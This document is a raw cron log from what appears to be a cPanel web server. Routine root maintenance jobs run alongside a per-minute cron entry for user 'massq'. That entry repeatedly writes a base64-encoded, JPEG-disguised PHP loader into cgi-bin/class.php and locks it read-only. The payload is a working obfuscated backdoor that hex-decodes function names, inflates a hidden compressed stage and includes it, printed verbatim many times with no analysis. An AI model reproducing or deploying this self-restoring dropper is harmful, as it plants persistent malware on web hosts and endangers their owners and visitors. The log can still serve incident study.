Aug 31 22:01:01 server run-parts(/etc/cron.hourly)[17039]: starting 0anacron
Aug 31 22:01:01 server run-parts(/etc/cron.hourly)[17061]: finished 0anacron
Aug 31 22:02:01 server CROND[17430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:02:01 server CROND[17431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:02:01 server CROND[17432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:03:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:03:01 server CROND[17904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:03:01 server CROND[17905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:04:01 server CROND[18306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:04:01 server CROND[18307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:04:01 server CROND[18308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:05:01 server CROND[18707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:05:01 server CROND[18708]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:05:01 server CROND[18711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:05:01 server CROND[18717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:05:01 server CROND[18718]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:05:01 server CROND[18713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:05:01 server CROND[18716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:05:01 server CROND[18715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:06:01 server CROND[19561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:06:01 server CROND[19562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:06:01 server CROND[19563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:07:01 server CROND[19940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:07:01 server CROND[19942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:07:01 server CROND[19941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:08:01 server CROND[20466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:08:01 server CROND[20467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:08:01 server CROND[20468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:09:01 server CROND[20854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:09:01 server CROND[20856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:09:01 server CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 22:09:01 server CROND[20857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:10:01 server CROND[21250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:10:01 server CROND[21251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:10:01 server CROND[21259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:10:01 server CROND[21260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:10:01 server CROND[21262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:10:01 server CROND[21264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:10:01 server CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:10:01 server CROND[21258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:11:01 server CROND[22117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:11:01 server CROND[22118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:11:01 server CROND[22119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:12:01 server CROND[22612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:12:01 server CROND[22611]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:12:01 server CROND[22614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:12:01 server CROND[22613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:13:01 server CROND[23160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:13:01 server CROND[23161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:13:01 server CROND[23162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
